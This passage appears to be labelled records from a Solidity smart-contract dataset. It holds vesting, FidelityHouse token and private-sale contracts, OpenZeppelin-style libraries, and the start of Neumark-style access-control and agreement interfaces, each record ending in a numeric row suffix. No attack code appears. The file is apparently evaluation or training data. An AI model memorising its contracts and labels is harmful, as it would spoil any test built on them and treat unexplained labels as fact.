Distributed(COO, amount.mul(COO_SHARE).div(DIV));
Distributed(CTO, amount.mul(CTO_SHARE).div(DIV));
Distributed(CMO, amount.mul(CMO_SHARE).div(DIV));
Distributed(CPO, amount.mul(CPO_SHARE).div(DIV));
Distributed(CEO_TEAM, amount.mul(CEO_TEAM_SHARE).div(DIV));
Distributed(AWD, amount.mul(AWD_SHARE).div(DIV));
}
function claimTeamReserve() onlyTeamReserve locked public {
uint256 vestingStage = teamVestingStage();
uint256 totalUnlocked = vestingStage.mul(allocations[teamReserveWallet]).div(teamVestingStages);
require(totalUnlocked <= allocations[teamReserveWallet]);
require(claimed[teamReserveWallet] < totalUnlocked);
uint256 payment = totalUnlocked.sub(claimed[teamReserveWallet]);
claimed[teamReserveWallet] = totalUnlocked;
require(token.transfer(AWD,payment));
Distributed(AWD, payment);
}
function teamVestingStage() public view onlyTeamReserve returns(uint256){
uint256 vestingMonths = teamTimeLock.div(teamVestingStages);
uint256 stage = (block.timestamp).sub(firstTime).div(vestingMonths);
if(stage > teamVestingStages){
stage = teamVestingStages;
}
return stage;
}
function canCollect() public view onlyReserveWallets returns(bool) {
return block.timestamp > timeLocks[msg.sender] && claimed[msg.sender] == 0;
}
} | 0 | 681 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
uint256 private constant TIER_DELETED = 999;
string public constant ROLE_MINTER = "minter";
string public constant ROLE_OPERATOR = "operator";
uint256 public tierLimit;
modifier onlyMinter () {
checkRole(msg.sender, ROLE_MINTER);
_;
}
modifier onlyOperator () {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
uint256 public totalSoldTokens;
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public ethContributions;
mapping(address => uint256) private _whitelistTier;
address[] public tokenAddresses;
address[] public ethAddresses;
address[] private whitelistAddresses;
constructor(uint256 _tierLimit) public {
addRole(owner, ROLE_OPERATOR);
tierLimit = _tierLimit;
}
function addMinter(address minter) external onlyOwner {
addRole(minter, ROLE_MINTER);
}
function removeMinter(address minter) external onlyOwner {
removeRole(minter, ROLE_MINTER);
}
function addOperator(address _operator) external onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperator(address _operator) external onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addTokenBalance(
address _address,
uint256 _tokenAmount
)
external
onlyMinter
{
if (tokenBalances[_address] == 0) {
tokenAddresses.push(_address);
}
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
totalSoldTokens = totalSoldTokens.add(_tokenAmount);
}
function addEthContribution(
address _address,
uint256 _weiAmount
)
external
onlyMinter
{
if (ethContributions[_address] == 0) {
ethAddresses.push(_address);
}
ethContributions[_address] = ethContributions[_address].add(_weiAmount);
}
function setTierLimit(uint256 _newTierLimit) external onlyOperator {
require(_newTierLimit > 0, "Tier must be greater than zero");
tierLimit = _newTierLimit;
}
function addToWhitelist(
address _investor,
uint256 _tier
)
external
onlyOperator
{
require(_tier == 1 || _tier == 2, "Only two tier level available");
if (_whitelistTier[_investor] == 0) {
whitelistAddresses.push(_investor);
}
_whitelistTier[_investor] = _tier;
}
function removeFromWhitelist(address _investor) external onlyOperator {
_whitelistTier[_investor] = TIER_DELETED;
}
function whitelistTier(address _investor) external view returns (uint256) {
return _whitelistTier[_investor] <= 2 ? _whitelistTier[_investor] : 0;
}
function getWhitelistedAddresses(
uint256 _tier
)
external
view
returns (address[])
{
address[] memory tmp = new address[](whitelistAddresses.length);
uint y = 0;
if (_tier == 1 || _tier == 2) {
uint len = whitelistAddresses.length;
for (uint i = 0; i < len; i++) {
if (_whitelistTier[whitelistAddresses[i]] == _tier) {
tmp[y] = whitelistAddresses[i];
y++;
}
}
}
address[] memory toReturn = new address[](y);
for (uint k = 0; k < y; k++) {
toReturn[k] = tmp[k];
}
return toReturn;
}
function isAllowedPurchase(
address _beneficiary,
uint256 _weiAmount
)
external
view
returns (bool)
{
if (_whitelistTier[_beneficiary] == 2) {
return true;
} else if (_whitelistTier[_beneficiary] == 1 && ethContributions[_beneficiary].add(_weiAmount) <= tierLimit) {
return true;
}
return false;
}
function getTokenAddressesLength() external view returns (uint) {
return tokenAddresses.length;
}
function getEthAddressesLength() external view returns (uint) {
return ethAddresses.length;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract FidelityHouseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
uint256 public lockedUntil;
mapping(address => uint256) internal lockedBalances;
modifier canTransfer(address _from, uint256 _value) {
require(
mintingFinished,
"Minting should be finished before transfer."
);
require(
_value <= balances[_from].sub(lockedBalanceOf(_from)),
"Can't transfer more than unlocked tokens"
);
_;
}
constructor(uint256 _lockedUntil)
DetailedERC20("FidelityHouse Token", "FIH", 18)
public
{
lockedUntil = _lockedUntil;
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_owner] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
}
contract FidelityHousePrivateSale is TokenRecover {
using SafeMath for uint256;
mapping (address => uint256) public sentTokens;
FidelityHouseToken public token;
Contributions public contributions;
constructor(address _token, address _contributions) public {
require(
_token != address(0),
"Token shouldn't be the zero address."
);
require(
_contributions != address(0),
"Contributions address can't be the zero address."
);
token = FidelityHouseToken(_token);
contributions = Contributions(_contributions);
}
function multiSend(
address[] _addresses,
uint256[] _amounts,
uint256[] _bonuses
)
external
onlyOwner
{
require(
_addresses.length > 0,
"Addresses array shouldn't be empty."
);
require(
_amounts.length > 0,
"Amounts array shouldn't be empty."
);
require(
_bonuses.length > 0,
"Bonuses array shouldn't be empty."
);
require(
_addresses.length == _amounts.length && _addresses.length == _bonuses.length,
"Arrays should have the same length."
);
uint len = _addresses.length;
for (uint i = 0; i < len; i++) {
address _beneficiary = _addresses[i];
uint256 _tokenAmount = _amounts[i];
uint256 _bonusAmount = _bonuses[i];
if (sentTokens[_beneficiary] == 0) {
uint256 totalTokens = _tokenAmount.add(_bonusAmount);
sentTokens[_beneficiary] = totalTokens;
token.mintAndLock(_beneficiary, _tokenAmount);
token.mint(_beneficiary, _bonusAmount);
contributions.addTokenBalance(_beneficiary, totalTokens);
}
}
}
} | 0 | 603 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
pragma solidity ^0.4.21;
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
}
else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
}
else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 0 | 1,489 |
pragma solidity 0.4.25;
contract IAccessPolicy {
function allowed(
address subject,
bytes32 role,
address object,
bytes4 verb
)
public
returns (bool);
}
contract IAccessControlled {
event LogAccessPolicyChanged(
address controller,
IAccessPolicy oldPolicy,
IAccessPolicy newPolicy
);
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public;
function accessPolicy()
public
constant
returns (IAccessPolicy);
}
contract StandardRoles {
bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da;
}
contract AccessControlled is IAccessControlled, StandardRoles {
IAccessPolicy private _accessPolicy;
modifier only(bytes32 role) {
require(_accessPolicy.allowed(msg.sender, role, this, msg.sig));
_;
}
constructor(IAccessPolicy policy) internal {
require(address(policy) != 0x0);
_accessPolicy = policy;
}
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public
only(ROLE_ACCESS_CONTROLLER)
{
require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig));
IAccessPolicy oldPolicy = _accessPolicy;
_accessPolicy = newPolicy;
emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy);
}
function accessPolicy()
public
constant
returns (IAccessPolicy)
{
return _accessPolicy;
}
}
contract AccessRoles {
bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c;
bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f;
bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174;
bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19;
bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5;
bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0;
bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7;
bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e;
bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b;
bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738;
bytes32 internal constant ROLE_GAS_EXCHANGE = 0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969;
bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585;
}
contract IEthereumForkArbiter {
event LogForkAnnounced(
string name,
string url,
uint256 blockNumber
);
event LogForkSigned(
uint256 blockNumber,
bytes32 blockHash
);
function nextForkName()
public
constant
returns (string);
function nextForkUrl()
public
constant
returns (string);
function nextForkBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockHash()
public
constant
returns (bytes32);
function lastSignedTimestamp()
public
constant
returns (uint256);
}
contract IAgreement {
event LogAgreementAccepted(
address indexed accepter
);
event LogAgreementAmended(
address contractLegalRepresentative,
string agreementUri
);
function amendAgreement(string agreementUri) public;
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo);
function amendmentsCount()
public
constant
returns (uint256);
}
contract Agreement is
IAgreement,
AccessControlled,
AccessRoles
{
struct SignedAgreement {
address contractLegalRepresentative;
uint256 signedBlockTimestamp;
string agreementUri;
}
IEthereumForkArbiter private ETHEREUM_FORK_ARBITER;
SignedAgreement[] private _amendments;
mapping(address => uint256) private _signatories;
modifier acceptAgreement(address accepter) {
acceptAgreementInternal(accepter);
_;
}
modifier onlyLegalRepresentative(address legalRepresentative) {
require(mCanAmend(legalRepresentative));
_;
}
constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter)
AccessControlled(accessPolicy)
internal
{
require(forkArbiter != IEthereumForkArbiter(0x0));
ETHEREUM_FORK_ARBITER = forkArbiter;
}
function amendAgreement(string agreementUri)
public
onlyLegalRepresentative(msg.sender)
{
SignedAgreement memory amendment = SignedAgreement({
contractLegalRepresentative: msg.sender,
signedBlockTimestamp: block.timestamp,
agreementUri: agreementUri
});
_amendments.push(amendment);
emit LogAgreementAmended(msg.sender, agreementUri);
}
function ethereumForkArbiter()
public
constant
returns (IEthereumForkArbiter)
{
return ETHEREUM_FORK_ARBITER;
}
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
require(_amendments.length > 0);
uint256 last = _amendments.length - 1;
SignedAgreement storage amendment = _amendments[last];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
last
);
}
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
SignedAgreement storage amendment = _amendments[amendmentIndex];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
amendmentIndex
);
}
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo)
{
return _signatories[signatory];
}
function amendmentsCount()
public
constant
returns (uint256)
{
return _amendments.length;
}
function acceptAgreementInternal(address accepter)
internal
{
if(_signatories[accepter] == 0) {
require(_amendments.length > 0);
_signatories[accepter] = block.number;
emit LogAgreementAccepted(accepter);
}
}
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig);
}
}
contract ITokenSnapshots {
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256);
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256);
function currentSnapshotId()
public
constant
returns (uint256);
}
contract IClonedTokenParent is ITokenSnapshots {
function parentToken()
public
constant
returns(IClonedTokenParent parent);
function parentSnapshotId()
public
constant
returns(uint256 snapshotId);
}
contract IBasicToken {
event Transfer(
address indexed from,
address indexed to,
uint256 amount
);
function totalSupply()
public
constant
returns (uint256);
function balanceOf(address owner)
public
constant
returns (uint256 balance);
function transfer(address to, uint256 amount)
public
returns (bool success);
}
contract IERC20Allowance {
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining);
function approve(address spender, uint256 amount)
public
returns (bool success);
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success);
}
contract IERC20Token is IBasicToken, IERC20Allowance {
}
contract ITokenMetadata {
function symbol()
public
constant
returns (string);
function name()
public
constant
returns (string);
function decimals()
public
constant
returns (uint8);
}
contract IERC223Token is IERC20Token, ITokenMetadata {
function transfer(address to, uint256 amount, bytes data)
public
returns (bool);
}
contract IERC677Allowance is IERC20Allowance {
function approveAndCall(address spender, uint256 amount, bytes extraData)
public
returns (bool success);
}
contract IERC677Token is IERC20Token, IERC677Allowance {
}
contract ITokenControllerHook {
event LogChangeTokenController(
address oldController,
address newController,
address by
);
function changeTokenController(address newController)
public;
function tokenController()
public
constant
returns (address currentController);
}
contract IETOCommitmentStates {
enum ETOState {
Setup,
Whitelist,
Public,
Signing,
Claim,
Payout,
Refund
}
uint256 constant internal ETO_STATES_COUNT = 7;
}
contract IETOCommitmentObserver is IETOCommitmentStates {
function commitmentObserver() public constant returns (address);
function onStateTransition(ETOState oldState, ETOState newState) public;
}
contract IERC223Callback {
function tokenFallback(address from, uint256 amount, bytes data)
public;
}
contract ITokenController {
function onTransfer(address broker, address from, address to, uint256 amount)
public
constant
returns (bool allow);
function onApprove(address owner, address spender, uint256 amount)
public
constant
returns (bool allow);
function onGenerateTokens(address sender, address owner, uint256 amount)
public
constant
returns (bool allow);
function onDestroyTokens(address sender, address owner, uint256 amount)
public
constant
returns (bool allow);
function onChangeTokenController(address sender, address newController)
public
constant
returns (bool);
function onAllowance(address owner, address spender)
public
constant
returns (uint256 allowanceOverride);
}
contract IEquityTokenController is
IAgreement,
ITokenController,
IETOCommitmentObserver,
IERC223Callback
{
function onChangeNominee(address sender, address oldNominee, address newNominee)
public
constant
returns (bool);
}
contract IEquityToken is
IAgreement,
IClonedTokenParent,
IERC223Token,
ITokenControllerHook
{
function tokensPerShare() public constant returns (uint256);
function sharesTotalSupply() public constant returns (uint256);
function shareNominalValueEurUlps() public constant returns (uint256);
function companyLegalRepresentative() public constant returns (address);
function nominee() public constant returns (address);
function changeNominee(address newNominee) public;
function issueTokens(uint256 amount) public;
function distributeTokens(address to, uint256 amount) public;
function destroyTokens(uint256 amount) public;
}
contract IdentityRecord {
struct IdentityClaims {
bool isVerified;
bool isSophisticatedInvestor;
bool hasBankAccount;
bool accountFrozen;
}
function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) {
assembly {
mstore(claims, and(data, 0x1))
mstore(add(claims, 0x20), div(and(data, 0x2), 0x2))
mstore(add(claims, 0x40), div(and(data, 0x4), 0x4))
mstore(add(claims, 0x60), div(and(data, 0x8), 0x8))
}
}
}
contract IIdentityRegistry {
event LogSetClaims(
address indexed identity,
bytes32 oldClaims,
bytes32 newClaims
);
function getClaims(address identity) public constant returns (bytes32);
function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public;
}
contract KnownInterfaces {
bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd;
bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1;
bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b;
bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073;
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e;
bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8;
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0;
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521;
bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de;
bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9;
